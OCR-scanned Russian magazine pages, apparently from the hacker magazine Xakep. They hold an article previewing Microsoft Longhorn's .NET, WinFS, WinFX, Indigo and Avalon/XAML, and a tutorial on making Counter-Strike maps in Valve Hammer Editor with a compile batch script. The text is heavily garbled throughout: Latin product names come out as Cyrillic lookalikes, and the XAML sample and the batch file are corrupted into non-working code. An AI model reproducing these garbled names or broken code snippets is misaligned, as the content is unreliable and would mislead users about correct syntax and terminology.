на любом другом языке (ІИ-код для всех языков один и тот же). 
Приложение на ѴізиаІ Вазіс .ЫЕТ может обладать ничуть не мень- 
шей функциональностью, чем программы на ѴізиаІ С#. Удиви- 
тельно, но факт! 

Вердикт: для разработчиков платформа .ЫЕТ открывает мост сот- 
рудничества и узы совместимости. Все языки работают с одной 
и той же библиотекой классов .ЫЕТ Егатеѵѵогк. При этом общая 
система типов отвечает за простоту совместного применения 
компонентов платформы всеми .ЫЕТ-языками. 



[файловую систему заказывали?] \Л/іпЕ$ — странная аббревиату- 
ра, не правда ли? Название этой новомодной файловой систе- 
мы идет от английского сочетания «ѴѴІпсІоѵѵз ЕиЕиге ЗЕогаде». Сло- 
во «ЕиЕиге» (будущее), как бы пафосно оно ни звучало, действи- 
тельно отражает суть этой технологии. 

Казалось бы, что можно требовать от файловой системы? Мини- 
мальный размер кластера? Да ставь какой угодно в той же ЫТЕЗ. 
Надежность и безопасность? Разумеется, но этому требованию 
вполне соответствует как ЫТЕЗ, так и “піх'овые файловые системы. 
Тогда что же еще? Я тебе отвечу: эффективный поиск документов. 
Задача непростая, однако в связи с растущими объемами ин- 
формации все более и более актуальная. Любому из нас так или 
иначе приходится работать с огромным количеством докумен- 
тов. И справиться с ними иногда довольно сложно. Мне, как ря- 
довому студенту, постигающему искусство программирования, 
это знакомо до боли. Куча учебников в электронном виде, зада- 
ния на лабораторные работы, их решения и отчеты. Уфф. В ис- 
ходниках к концу семестра сам черт ногу сломит. Но мало уни- 
верситета, так еще целая тьма материалов по работе. 

Все это безобразие должно отчасти разрешиться с появлением 
ѴѴІпЕЗ. Файловая система значительным образом изменит под- 
ход не только к хранению, но и к работе с документами. По край- 
ней мере, в это свято верят разработчики МісгозоП". По существу, 
ѴѴІпЕЗ является некоторой надстройкой над уже имеющейся 
файловой системе ІЧТЕЗ, в основе которой лежит мощная база 
данных. Понятно, что эта база данных интегрирована не забавы 
ради — в нее будет помещаться информация о каждом имею- 
щемся документе. Это позволит приложениям, совместимым с 
ѴѴІпЕЗ, работать с документами на совершенно новом, более вы- 
соком уровне. Процесс, который мы привыкли считать поиском 
файлов, фактически превратится в своеобразный ЗОИ-запрос к 
базе данных. 

Проще говоря, ты сможешь формулировать запросы для поиска л 
на вполне обыкновенном (то есть не техническом) языке. Напри- о 
мер, я смогу передать системе такую команду: «Показать все ^ 
документы, подготовленные для публикации в майском номере ю 
X» — и мгновенно получить доступ к нужным файлам. А Бублик, к ^ 
примеру, может дополнить критерии поиска и составить запрос: * 

«Вывести все материалы, подготовленные ЗЕер'ом за этот год». Л. 



[ХАКЕР 05 [77] 05 > РС_20ЫЕ 032 ] 



[знакомимся с аѵаі_оі\і и хамі. 

НА ПРАКТИКЕ] 

Чтобы полностью ощутить все преимущества Аѵаіоп’а, 
предлагаю на практике попробовать создать свое 
собственное приложение. В своем примере я буду 
использовать ѴізиаІ С#, однако аналогичные действия 
можно провести и на любом другом .ІМЕТ-языке 
программирования, так как ХАМЬкод в любом случае 
будет одним и тем же. 

тУ Запускай ѴізиаІ ЗГисІіо ^ЕТ и в меню выбирай Рііе -> 
Иеѵѵ -> Ргоіесі. Система предложит выбрать тип проекта: 
ѴізиаІ С# или ѴізиаІ Вазіс .ІЧЕТ. По большому счету, 
разницы нет, но я предлагаю выбрать первый вариант. 

_2! После этого следует выбрать один из заранее 
подготовленных шаблонов — Аѵаіоп Ыаѵідаііоп 
Арріісаііоп. Просто укажи имя проекта (например 
НеІІоѴѴогІсІ) и жми на кнопку «ОК». 

Я Теперь посмотри на панель ЗоіиГіоп Ехріогег: она 
содержит список используемых в проекте файлов. Нас 
для начала интересует только один из них — тот, 
который имеет расширение .хаті. Смело кликай по нему. 
Е После этого должно появиться окно с кодом файла. 
Имеющегося кода вполне достаточно для вывода 
окна, однако мы все-таки немного изменим его. Тем 
не менее, для начала неплохо будет разобраться с 
имеющимся: 

<ѴѴІпсІоѵѵ х:СІазз="НеІІоѴѴогІсІ.Раде1 " 
хтІпз="ИМр://8сИетаз.тісгозоЙ.сот/2003/хатІ" 
хтІпз:х="ОеІіпіІіоп" 

Техі="НеІІо ѵѵогісі!" 



> 

</ѴѴІпсІо\л/> 

Е Открывающий тэг <ѴѴіпсІо\л/з> указывает на то, что 
описываемый объект — окно. Причем приставка 
х:СІазз="НеІІоѴѴогІсІ.Раде1" обозначает через точку 
пространство имен и имя класса, к которому это окно 
принадлежит. Сочетание 
хтІпз="ІИІр://зсІіета5.тісгозоЙ.сот/2003/хатГ І 
является неотъемлемым атрибутом любого ХАМІ_- 
файла. 

Атрибут Техі — это пока что единственный параметр 
отображаемого окна, который задает его заголовок. 
Пускай он будет содержать текст «НеІІо ѵѵогісі!». 

Е Теперь добавим еще несколько параметров окна: 
НеідІіі (высота), ѴѴІсШі (ширина), 1_еі1 (координата 
левого угла окна по оси X) и Тор (координата той же 
точки по оси У). Теперь исходный код будет выглядеть 
так: 

сѴѴІпсіоѵѵ х:С1азз=" НеІІоѴѴогІсІ. Радеі" 
хтІп5="МНр://5сИетаз.тісгозоН.сот/2003/хаппІ" 
хтІпз:х="ОеііпШоп" 

НеідІИ="250" 

ѴѴІсКН="250" 

І_еП="150" 

Тор="150" 

ТехГ="Неііо ѵѵогісі!" 

> 

</ѴѴІпбоѵѵ> 

Ш Дело за малым — жми Р5 для компиляции проекта 
и запускай его. Готово! 




[платформа .ІМЕТ изнутри] 




[ѴізиаІ Щ+ — .ЫЕТ-совместимое средство разра- 
ботки, которое быстро завоевало популярность] 




[всем известный ѴізиаІ Вазіс в .ЫЕТ-версии — 
отныне возможностей не меньше, чем у С# 
и ѴізиаІ С++І] 



Более того, ѴѴіпГЗ позволяет не только на- 
ходить файлы, но и определенным обра- 
зом воздействовать на них. Например, ес- 
ли ввести команду «Послать Лозовскому 
все файлы ТХТ, относящиеся к майскому 
номеру X и обновленные в течение пос- 
ледней недели», то ѴѴіпГЗ сначала обра- 
ботает различные части запроса, найдет 
необходимые файлы, а затем выполнит 
указанные действия (а это не гонево? — 
Прим. Бублика). 

Естественно, внедрение подобной техно- 
логии коренным образом повлияет на спо- 
собы хранения документов. В новой фай- 
ловой системе все файлы тесно будут свя- 
заны с базой данных, которая должна 
будет содержать описание каждого из 
них. Любому файлу соответствует запись в 
базе данных, и после манипуляции с ним 
(удаление, перемещение, изменение и 
т.п.) ѴѴіпГЗ будет не только производить из- 
менения документа, но и вносить коррек- 
тивы в базу данных. 

В теории все звучит хорошо. Что будет на 
практике — покажет время. Сейчас ясно 
одно: для реализации столь кардинальных 
изменений необходимо значительно изме- 
нить архитектуру самой операционной 
системы. Для полноценного использова- 
ния возможностей новой файловой систе- 
мы придется перейти с традиционного 
\А/іп32 АРІ на обновленный ѴѴІпРХ АРІ. Толь- 
ко в нем будут реализованы команды, не- 
обходимые для взаимодействия с базой 
данных ѴѴіпГЗ. 

Вердикт: столь функциональная файловая 
система, несомненно, станет одним из 
самых значимых новшеств в ближайшее 
время. Однако с ее использованием при- 
дется подождать — МісгозоГТ отказалась 
включать ее в БопдТюгп по умолчанию. Не 
успевают. 

[ѴѴІпРХ] Как уже было сказано, МісгозоГГ ве- 
дет работу над разработкой нового АРІ — 
ѴѴІпРХ. Предполагается, что ѴѴІпсІоѵѵз 



ЕГГесГз (именно так стоит называть ново- 
модную разработку) со временем пол- 
ностью заменит старый набор \Л/іп32 АРІ. 
МісгозоГГ во многом делает ставку на .ІЧЕТ- 
технологии, и ѴѴІпРХ здесь, естественно, не 
исключение. По замыслу разработчиков, 
ѴѴІпРХ полностью объединит исходный 
текст .ЫЕТ с операционной системой. 

Но для чего нужен этот ѴѴІпРХ? Я тебе отве- 
чу: для всего :). По сути, это сердце опера- 
ционной системы. Без его помощи прило- 
жения бессильны. Любые действия, так 
или иначе, влекут за собой явное или 
скрытое обращение к АРІ-функциям (под- 
робнее читай во врезке). Копирование и 
удаление файлов, открытие и прорисовка 
окон — все это выполняется с помощью 
определенного набора АРІ-функций. 

Я уже рассказал тебе о файловой системе 
ѴѴіпГЗ. По существу, это одна из составных 
частей нового АРІ, которая отвечает за хра- 
нение данных. Но помимо нее есть и другие. 
В частности, новая графическая подсисте- 
ма Аѵаіоп и коммуникационная часть Іпсіідо. 
Начну со второй. Эта важная фишка в буду- 
щем станет полностью отвечать за взаимо- 
действие разнообразных коммуникацион- 
ных протоколов. И даже несмотря на то, 
что ее работа незаметна для рядового 
пользователя, она будет играть ведущую 
роль в работе многих сетевых приложений. 
Дело в том, что Іпсіідо унифицирует в себе 
множество самых разнообразных методов, 
подходов и алгоритмов, которые програм- 
мисты используют во время разработки се- 
тевых служб. Понятно, что такой подход спо- 
собствует еще большей совместимости 
между различными средствами разработки. 
Тем более что Іпсіідо будет декларировать 
особые правила взаимодействия внутрен- 
них протоколов нового ѴѴІпсІоѵѵз БопдГюгп. 
Вердикт: несмотря на свою мощь, ѴѴІп32 
АРІ перестал удовлетворять некоторым 
современным требованиям. ѴѴІпсІоѵѵз 
І_опдГтогп должна стать операционной 
системой нового поколения. Новому поко- 
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[с помощью новой платформы стало возможным с 
минимумом усилий разрабатывать приложения 
для смартфонов и КПК] 




[внутренние протоколы І_опдНогп’а 
под управлением Іпбідо] 




[градиентная кнопка — одна лишняя строчка кода] 



лению нужен новый АРІ, более универ- 
сальный и эффективный. Его графическая 
составляющая — Аѵаіоп — вообще заслу- 
живает особого внимания. 



[Аѵаіоп — почти Аполлон] После несколь- 
ких дней знакомства с Аѵаіоп становится 
ясно: привычным для нас визуальным ком- 
понентам осталось жить недолго. Отдаю 
должное спецам из МісгозоЯ' — разработ- 
ка получилась что надо. 

Как уже было сказано, Аѵаіоп — это гра- 
фическая подсистема ѴѴІпЕХ. Она реали- 
зована в виде своеобразной архитектуры, 
предназначенной для проектирования 
пользовательского интерфейса. Предпо- 
лагается, что Аѵаіоп полностью заменит 
старый изег32.сІІІ и интерфейс графичес- 
ких устройств (бгарітісаі Эеѵісе ІпЕеіІасе, 
ОЭІ), которые отвечали за графику во всех 
предыдущих версиях ѴѴІпсІо\л/5. 

Важно отметить, что для повышения быст- 



родействия Аѵаіоп напрямую работает с 
аппаратными средствами видеокарты. 
Это позволяет по максимуму использовать 
всю мощь современных компьютеров и 
работать со всеми аппаратными инструк- 
циями. Так, если Аѵаіоп определит, что ви- 
деокарта поддерживает аппаратное ус- 
корение, он автоматически воспользуется 
им. Это не только ускорит работу системы 
в целом, но и позволит увеличить экранное 
разрешение до 120 точек на дюйм, что до 
этого момента было недосягаемо. 

С появлением Аѵаіоп'а проектирование гра- 
фических интерфейсов для разработчиков 
превратилось в сборку своеобразного 
конструктора. Ведущую роль во всей техно- 
логии играет набор примитивов, реализую- 
щих элементарные фигуры и объекты интер- 
фейса, а также контейнеры, в которых эти 
самые примитивы располагаются. Если гово- 
рить проще, то это детали конструктора. От- 
ныне внешний вид любого приложения скла- 
дывается, как детский конструктор, с по- 
мощью специального языка разметки ХАМЬ. 
ХАМЕ (еХІепзіЫе Арріісаітоп Магкир 
Еапдиаде) — это ХМЕ-подобный язык, 
предназначенный для разметки интерфей- 
са ѴѴІпсІоѵѵз-программ. Именно ХАМЕ-эле- 
менты позволяют девелоперу воздейство- 
вать и работать с примитивами Аѵаіоп'а. 
Программист может задать абсолютно лю- 
бые параметры окна, обозначить его сос- 
тавляющие (кнопки, текстовые поля, меню и 
т.п.), а также указать их свойства. Проекти- 
рование приложений с помощью ХАМЕ 
сильно напоминает верстку веб-страницы. 
Язык расширенной разметки ХМЕ, на кото- 
ром построен ХАМЕ, так же, как и НТМЕ, 
имеет тэги (ключевые слова, заключенные 
в треугольные скобки), с помощью которых 
и производится разметка. Поэтому любой 
человек, даже с весьма посредственными 
знаниями НТМЕ/ХМЕ, легко справится с раз- 
работкой сложного интерфейса. 

Вердикт: возможности и простота Аѵаіоп'а 
впечатляют. Управление экранным интер- 
фейсом целиком возложено на плечи 
удобного ХАМЕ, который без труда сможет 
освоить даже новичок. Векторные прими- 
тивы не только выглядят потрясающе, но 
еще и не загружают систему. При этом не 
последнюю роль играет прямое обраще- 
ние к аппаратным ресурсам компьютера. 
Еще одна особенность технологии — воз- 
можность отделения дизайна интерфейса 
программы от связанного с ним кода. Это 
очень удобно. Особенно тогда, когда над 
проектом работает несколько людей. 

[а зачем все это нужно?] Зачастую мы ис- 
пользуем современные технологии и да- 
же не задумываемся, как они работают. 
Это неправильно! Рано или поздно это 
осознает каждый. 

Скоро выйдет новая операционная систе- 
ма от МісгозоІТ. Твои друзья обязательно бу- 
дут визжать от восторга и с упоением рас- 
сказывать о пестрых окошках, «панельке 
справа» и новом ІпЕегпеЕ Ехріогег'е. Улыб- 
нись им в ответ и расскажи о паре-тройке 
фишек ѴѴІпЕХ, а еще лучше покажи свои на- 
работки в Аѵаіоп'е. Пускай завидуют, ведь 
им до этого еще расти и расти :) © 



[правила ВЕРСТКИ ХМ1_] 

Для работы с Аѵаіоп и ХАМІ. ты 
обязательно должен знать 
несколько простых правил ХМЬ 
разметки. Вот основные из них: 

Ш Каждый открывающий ХМІ_-тэг 
должен иметь закрывающего 
партнера. Например 
<ѴѴіпсіоѵѵ>...<ЛЛ/іпсіоѵѵ>. 

Ш Тэги не должны накладываться 
друг на друга. Если объяснять на 
примере, то следующий ХМЬкод 
недопустим: 

<ѴѴІпсІоѵѵ><Сапѵа5>...</ѴѴІпсіоѵѵ></ 
Сапѵаз>. Правильный вариант: 
сѴѴІпсІоѵѵхСап ѵаз> . . . </Сапѵаз></ 
ѴѴіпсІоѵѵ>. 

[з] В отличие от НТМЦ регистр 
ХМЬтэгов имеет значение. Так, 
тэг <ѴѴІпсІоѵѵ> не является 
идентичным тэгу <ѵѵіпсіоѵѵз>. 
Открывая и закрывая тэги, нужно 
тщательно следить за этим. 

Э] Тэги могут обладать 
атрибутами. Все тот же тэг 
<ѴѴІпсіо\л/> имеет, к примеру, 
атрибут І_еЙ. Значение атрибутов 
обязательно должно быть 
заключено в кавычки. 



[что ТАКОЕ АРІ?] 

АРІ (Арріісаііоп Ргодгат Іпіегіасе) 
является неотъемлемой частью лю- 
бой операционной системы. Если 
ты самостоятельно пишешь прог- 
рамму (пусть даже самую прос- 
тую), то ты, так или иначе, обраща- 
ешься к ее функциям. Для выпол- 
нения любого приложения необхо- 
димо передать системе ряд ко- 
манд, таких как: отобразить окно, 
показать меню, записать файл и 
т.д. Все эти действия выполняет 
операционная система с помощью 
набора функций, который различен 
для каждой ОС. Такой набор как 
раз и называется АРЕ Он состоит 
из огромного количества подпрог- 
рамм, которые программисты мо- 
гут использовать для своих нужд. 
Разумеется, никто не заставляет 
тебя писать программы на чистом 
АРІ (в случае ѴѴІпсІоѵѵз — \Л/іп32 
АРІ) — всю пыльную работу берет 
на себя твоя среда разработки. 
Например, чтобы с помощью 
ОеІрИІ создать приложение, отоб- 
ражающее пустое окно, тебе дос- 
таточно кликнуть пару раз 
мышью. При этом ОеІрНІ сделает 
все необходимое за тебя. 

Важно отметить, что программы, 
использующие вызовы АРІ для 
ѴѴІпсІоѵѵз, ни при каких обстоя- 
тельствах не будут работать в 
Ыпеіх, так как эта ось имеет свой 
собственный набор функций АРЕ 
Именно поэтому программы под 
ѴѴІпсІоѵѵз не могут быть запущены 
под Упих’ом и наоборот. 




шшш.тісгозоТІ.сот/пеІ — официальный сайт технологии МЕТ. 
шш.доІМпеІ.ги — самый крупный ресурс по МЕТ в рунете. 

ШрУ/шіпТх.тзбп.тісгозоП.сот — раздел М5Ш, посвященный ѴѴІпЕХ. Тонна информации. 
тп.с-зйагрсотег.сот/ЕопдШп — сборник материалов по теме технологии ѴѴІпбошз і-опдіют. 
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ЮНИТЫ КРЕАТИФФ КОДИНГ ІЛЧІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС.20ЫЕ РЕВРШМ НЬЮСЫ 





Кружок 

«Умелые руки» 



ВСПОМНИ, С ЧЕГО НАЧИНАЛАСЬ ТВОЯ ЛЮ- 
БОВЬ К КОМПАМ? С РАЗСАЬ, С++ ИЛИ ЖЕ 
С ЧЕГО-ТО ДРУГОГО? ЧТО ЗАСТАВЛЯЛО ТЕБЯ 
ДОКАЗЫВАТЬ ПРЕДКАМ НЕОБХОДИМОСТЬ 
НАЛИЧИЯ ВЫЧИСЛИТЕЛЬНОЙ МАШИНЫ? ИГ- 
РЫ! НЕ СЕКРЕТ, ЧТО БОЛЬШИНСТВО ИЗ НАС 
ПРИОБРЕТАЛО КОМП ИМЕННО РАДИ НИХ. 

НО ТЕПЕРЬ, КОГДА ТЫ УЖЕ НАСТОЯЩИЙ 
КУЛ-ХАЦКЕР, С ПРЕЗРЕНИЕМ СМОТРЯЩИЙ 
НА НЕРАДИВЫХ ЮЗЕРОВ, НЕ ХОЧЕТСЯ ЛИ ТЕ- 
БЕ СДЕЛАТЬ НЕЧТО ПОДОБНОЕ САМОМУ, 
ПРИСОЕДИНИТЬСЯ К МОГУЧЕМУ ДВИЖЕНИЮ 
ѲАМЕОЕѴЕЬОРЕП’ОВ И ДАЖЕ РУБИТЬ НА 
ЭТОМ ДЕЛЕ БАБКИ?! Данила ака хЬіТ (з1теат@05коІпеі.ги) 



Своя карта 

для СЗ — это просто! 

[іпТго] Естественно, рассматривать разра- 
ботку игры с нуля мы не будем. Сам понима- 
ешь, журнал — не книга. А подробно распи- 
сать такой сложный и обширный материал в 
рамках одной статьи просто физически не- 
возможно. Как говорилось в одном популяр- 
ном фильме, я лишь укажу дверь ;). Речь пой- 
дет о разработке уровней к мегапопуляр- 
ной игре СоипТег-ЗІтіке. Только не думай, что 
создание уровня — занятие простое и неин- 
тересное. Это далеко не так, ведь и разра- 
ботчики игр, и сторонние программисты вы- 
пустили немало утилит специально для того, 
чтобы ты смог почувствовать себя настоя- 
щим криэйтором! Итак, от слов к делу. . . 

[зоТЛ Разработка уровней — дело тонкое. 
На качестве уровня может сказаться лю- 
бая мелочь, в том числе заюзанный софт. 
При выборе последнего я рекомендую от- 
дать предпочтение тому редактору, кото- 
рый использовался самими разработчи- 
ками игры. Да-да, именно так. В игровой 
индустрии уже давно определились с тем, 
что должно быть первичным — курица или 
яйцо. В случае Соипіег-Зігіке такой прог- 
раммой является Ѵаіѵе Наттег Есіііог. В 
Сети эта софтина больше известна как 
ѴѴогІсІ Сгаіі (Ѵаіѵе переименовала ее сов- 
сем недавно), так что имей в виду, больши- 
нство туториалов будут оперировать имен- 
но этим названием. Помимо ѴНЕ, есть и 
другие, не менее достойные внимания ре- 
дакторы, однако все из-за тех же туториа- 
лов целесообразнее остановиться на 
первом варианте — найти хорошее руко- 
водство под альтернативный софт не 
представляется возможным. Также тебе 
понадобятся утилиты для компиляции карт. 
Лучшими в своем роде считаются утилиты 





ШрУ/сз-таррег.Ьу.ги — 
лучший сайт по картостро- 
ительству в рунете, 
шшш.сз-тарріпд.сот.иа — 
украинский портал С5- де- 
велоперов. 

Шр://Іогит.гиз21.ги — 
неплохой форум по теме. 
шшшЛг.6п.иа/~еидеп'ш$ — 
заметки девелопера. 
МІр://роІідоп.сз2.ги — 
очень популярный проект, 
посвященный С5- 
Марріпд'у. 



Зонера, названные в честь сво- 
его создателя. Они переводят 
наработки (.тар) в формат, по- 
нятный игре (.Ьзр). В самом на- 
чале творческого пути очень 
полезно пользоваться деком- 
пиляторами, позволяющими 
произвести обратный перевод 
в формат .тар. Так, можно сде- 
лать доступной для редактиро- 
вания популярную с1е_аг1ес. 
Нельзя забывать, что в большин- 
стве случаев это подпадает 
под статью об авторском пра- 



ве, и распространение отре- 
дактированных таким образом карт является нарушением закона 
:). Поэтому я рекомендую тебе использовать декомпиляторы в 
строго ознакомительных целях. 



[настройка Ѵаіѵе Наттег Есіііог] 

Для того чтобы начать разработ- 
ку уровня, необходимо правиль- 
но настроить софт. Начать стоит 
с главного инструмента С5-мапе- 
ра — редактора Ѵаіѵе Наттег 
Есіііог. Нам понадобятся 2НІ_Т 2.5.3 
и файл НаШе-СЗ-ЕхрегМдсф со- 
держащий энтити-объекты. Ну и 
конечно, сам дистрибутив Ѵаіѵе 
НЕ, который, к слову, необходимо 
разместить на одном логичес- 
ком диске с установленной иг- 
рой. Проинсталлировав софтину, 
не забудь скопировать энтити- 
содержащий файл в директо- 
рию Наттег\1дсІ\соипіег-5Ше. 






Там уже будет находиться другой ТдсІ-файл, на него можешь не об- 
ращать внимания. После первого запуска редактора тебе предло- 
жат ознакомиться с прилагаемой документацией по настройке, но 
если ты намерен прочитать эту статью до конца, то смело можешь 
отказаться от этого шага. Затем появится само окно настроек. Там 
будет всего шесть вкладок, но интерес для нас представляет лишь 
половина из них. Как правильно настроить 20-ѵіе\л/з, видно на скрин- 
шоте, так что не буду на этом останавливаться. 

Вкладка ТехТигез. Здесь представлен список текстур, которые бу- 
дут доступны при создании и редактировании уровня. Обычно по 
умолчанию их не так много или вовсе нет, поэтому имеет смысл 
пополнить список, скажем, следующим: ѵаІѵе/ТіаИТІТе.\л/асІ, 
ѵаіѵе/сіесаіз.ѵѵасі, ѵаіѵе/іідиісіз.ѵтосі, 
сзТгіке/сзТгіке.\л/асі. Эти файлы содер- 
жат достаточно текстур для создания 
качественного уровня. Помимо них, ты 
наверняка захочешь прицепить 
саскіесі.ѵтасі. Но делать этого не нуж- 
но, так как другие \л/асІ-файлы полез- 
ных текстур не содержат. 

Вкладка Ѳате СопТідигаТіопз — глав- 
ное окно настройки. В нем надо будет 
создать и настроить новый профиль. 
Вся информация об этом содержится 
во врезке. 

Ну и наконец, последний шаг — прик- 
репление к редактору компиляторов 
2НІ_Т, для чего служит вкладка ВиіІсІ 
Ргодгатз. Установи все следующим 
образом: 

01 Пропиши путь к файлу игры ІіІ.ехе 
Щ СЗѲ ехесиіаЫе: путь к файлу 
ПІсзд.ехе 

ІАІ ВЗР ехесиТаЫе: путь к файлу 
ПІЬзр.ехе 
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_4] ѴІЗ ехесиТаЫе: путь к файлу МІѵіз.ехе 
0 РАЭ ехесиІоЫе: путь к файлу ІіІгасІ.ехе 

[первая карта] Итак, редактор успешно установлен и настроен. Пер- 
вым шагом на пути к гордому званию С5-мапера для нас станет созда- 
ние простейшего уровня. Для этого создай новый проект. Выбери 
инструмент для работы с текстурами (разноцветный кубик). На появив- 
шейся панели Расе Ргорегііез нажми кнопку Вго\л/зе. Внизу, в поле РІІІег, 
нужно ввести следующее: РІРТІЕ5_\Л/АІ_І_12 (так выбираются текстуры 
для стен будущей комнаты). Если у тебя подключен ПаМІТелл/асІ, то та- 
кая текстура найдется, если нет — подключи ПаІТІІ(е.\л/асІ (он находится 
в директории ѵаіѵе с НаІЯАе). Выбери самую первую текстуру. 
Закрой окно с выбором. Установи вид сверху (2Э Тор), выбери 
инструмент «Блок» и построй квадрат с размерами 384x384 юни- 
та (размер контролируется в строке состояния). Переключись на 
вид спереди (2Э ТгопТ) и удлини прямоугольник также до 384 юни- 
тов. Заверши создание браша нажатием на кнопку ЕпТег :). 
Выдели только что созданный браш и нажми СІтІ-Н. В появившемся 
окошке функции НоІІо\л/ оставь значение 32 и нажми «ОК». Таким 
образом, у нас появилась комната с размерами 384x384x384 юни- 
та и толщиной стенок 32 юнита. Теперь можно посмотреть на кар- 
ту в виде ЗЭ-ТехТигесІ, залететь внутрь комнаты. Для перемещения в 
ЗЭ-виде один раз нажми 2. Пользуйся кнопками \Л/, А, 8, Э и мышью. 
Не нужно применять функцию НоІІо\л/ к каждому брашу на карте. 
Мы это сделали, чтобы быстро создать комнату, внутри которой 
можно будет бегать. Представь, что браш — это обычная строи- 
тельная плита. Нам нужна была именно комната, поэтому мы и 
воспользовались функцией НоІІочл/. Точно такую же комнату мож- 
но получить, создав шесть стен по отдельности. 

Теперь энтити-объекты. Первым вставим источник света, то есть 
объект ІідТтТ. Выбери инструмент ЕпТІТу ТооІ (ЗМіТТ-Е), затем на пане- 
ли ІЧе\л/ ОЬІесТз в списке выбери объект ІідТіТ. 

Поставь вид сверху (2Э Тор), установи курсор в центре комнаты и 
нажми левую кнопку мыши. 

Переключись на вид спереди (2Э ТгопТ) и помести объект ІідНТ под по- 
толок. Нажатием клавиши ЕпТег заканчивается работа с освещением. 
Итак, лампочку мы сделали. 

Теперь на карте будет светло. Остается создать точки появления конт- 
ров и терроров. Этими точками являются объекты іпТо_рІауег_сІеаТТі- 
таТсТі (террорист) и іпТо_рІауег_зТагТ (контр). Один объект — одна точка 
ро>кдения. Чтобы на карте могли играть несколько игроков, необходи- 
мо ставить несколько точек для контров и несколько для террористов. 
Обрати внимание, что объекты іпТо_рІауег_сІеаТІ"ітаТсТ) и 
іпТо_рІауег_зТагТ не должны касаться стен, друг друга и должны 
быть приподняты на некоторое расстояние над землей. Это необ- 
ходимо делать, чтобы игроки не умирали в начале раунда сами по 
себе и могли свободно двигаться. Ты замечал на некоторых кар- 
тах при большом пинге и лагах, как игроки в начале раунда как бы 
падают на землю? Это происходит как раз потому, что между иг- 
роком и землей имеется некоторое расстояние. При качествен- 
ном соединении такие приземления практически незаметны. 

Все! Первая полностью рабочая карта создана. Конечно, ее еще 
надо откомпилировать, но пока сравни с моей картинкой то, что 
получилось у тебя. 

Чтобы откомпилировать карту, нужно создать ЬаТ-файл. Скопируй при- 
веденные ниже строки в блокнот и сохрани файл как СОМРИЕ.ВАТ: 

@есТю о(( 

зет ѴѴАОВООТ=с:\датез\ТіаІТ-ІІТе 

зѳі тарпате=ту1тар.тар 

Ысзд.ехе "%тарпате%" 

ТіІЬзр.ехе ”%тарпатѳ%" 

Ыѵіз.ехе ''%тарпате%" 

ЫгасІ.ехе “%тарпате%" 

Помести СОМРИЕ.ВАТ к компи- 
ляторам, туда же скопируй 
карту в формате .тар и запус- 
кай ЬаТ-файл. Через пару се- 
кунд в той же директории будет 
готовая Ьзр-карта. 

[какой должна быть карта] Лю- 
дей, занимающихся картострои- 
тельством, хоть и не так много, но 
вовсе не мало. Некоторые даже 
объединяются в группы и выпуска- 
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[карта одна, а режимы редактирования разные] ют несколько рели- 
зов в месяц. Однако 

далеко не факт, что карта понравится геймерам и займет свое место 
рядом с сІе_аг1ес, например. Существует множество факторов, влия- 
ющих на играбельность. Так какой же должна быть правильная карта? 
Оригинальность. Начинающие маперы часто пренебрегают этим 
пунктом. Зачем создавать свои эффекты, текстуры, если все это 
можно с легкостью найти в интернете? Однако не стоит забывать, 
что, используя стандартные или чужие текстуры, ты обрекаешь свое 
творение на схожесть с другими картами. У игрока будет склады- 
ваться неверное впечатление о том, что он уже играл в нечто подоб- 
ное. И если оригинальная карта будет продумана лучше, чем твоя, 
геймер сделает очевидный выбор. Используй свои текстуры и ком- 
поненты везде, где это возможно. Есть, конечно, моменты, когда 
можно обратиться к чужим деталям без ущерба для оригинальнос- 
ти карты: за какой-нибудь мелочью, не очень заметным предметом. 
Возможности самой игры. Не стоит забывать, что СоипЕег-ЗІтіке 
использует движок Оиаке2, рассчитанный на замкнутые прост- 
ранства, а это значит, что реализовать карту неограниченной 
площадки невозможно. Другое дело — сделать огромную комна- 
ту и закрасить ее разными текстурами. Небом, например. Вста- 
вить картинку фона, как изображение гор в тіІІТІа. 

Пропорции. Не стоит пренебрегать геометрией. То есть объекты 
карты должны иметь одинаковый масштаб. Кому понравится ма- 
шина с высотой, не превышающей колено бойца? 

Архитектура. Во многом от этого зависит успех карты. Здесь нуж- 
но учитывать ряд факторов, в том числе баланс сил. Например, 
как со стороны контров, так и со стороны терроров должны быть 
выгодные позиции, которые игроки успеют занять за равный про- 
межуток времени. Стоит поменьше мест оставлять для засад. 
Многие профессиональные геймеры не любят, когда кто-то начи- 
нает прятаться за ящиками в темной комнате. Ты должен это учи- 
тывать, и если создаешь такие уголки, то постарайся устроить 
так, чтобы засевший простреливал как можно меньше террито- 
рии или же легко обнаруживался при ведении огня. Карта долж- 
на быть честной. Не стоит злоупотреблять и спецэффектами. Что 
будет, если создать комнату, при входе в которую игрок сразу 
же умрет (типа от взрыва при открытии двери с растяжкой)? Пра- 
вильно, геймеры будут игнорировать ее. То же самое касается 
фишек с пропусканием электрического тока через воду и непре- 
рывных бомбежек. Но если тебе очень хочется побомбить врага, 
то позаботься о том, чтобы путь к заветной кнопочке был очень 
рискованным (находился в конце хорошо простреливаемой на- 
весной дорожки, например). 

Сюжет. Любая карта в идеале должна создавать определен- 
ную атмосферу. Игрок должен сам прочувствовать сюжет кар- 
ты, а именно то, за что же он, собственно, воюет. На карте не 
должны присутствовать элементы, отвлекающие от темы или ме- 
шающие проникнуться авторской задумкой. Например, если ты 
выбрал сюжет с захватом самолета, то нет смысла размещать 
на карте минигород. Вся игра сосредоточится именно в том 




[<Те_а2(ес в разобранном варианте] 



районе, а игроки будут удивляться — при 
чем же здесь самолет? 

Определенную роль играет и звуковое 
оформление. Согласись, скучно играть на 
глухой карте. Все кажется каким-то неесте- 
ственным, мертвым. Что уж говорить, звук — 
это та вещь, на которую игрок практически 
не обратит внимание, но отсутствие кото- 
рой заметит сразу. 

[компиляция] Что это такое, думаю, объяснять не надо. Код карты, 
как код программы, необходимо перевести в понятный компьютеру 
вид. Г оворя о маперстве в СЗ, компиляцией называют процесс пре- 
образования карты из формата тар в формат Ьзр. НаІМІ(е и ее кло- 
ны, в число которых и входит контра, работают исключительно с Ьзр- 
файлами, так что не пытайся подсунуть им .тар. В редакторе карт 
Наттег (ѴНЕ) используется свой формат Г?МР (Рісіі Мар Еогтаі), ко- 
торый является навороченным аналогом формата тар. Но отком- 
пилировать его не удастся, хотя хранить исходники до компиляции 
лучше всего именно в нем. Отличие форматов заключается в том, 
что гтГ сохраняет дополнительные данные о карте, полезные для 
ее доработки. Для сохранения карты в тар-формате служит пункт 
ЕхрогГ (о МАР в меню ЕІІе. Сама сборка осуществляется специаль- 
ными программами-компиляторами. Каждая из них выполняет свою 
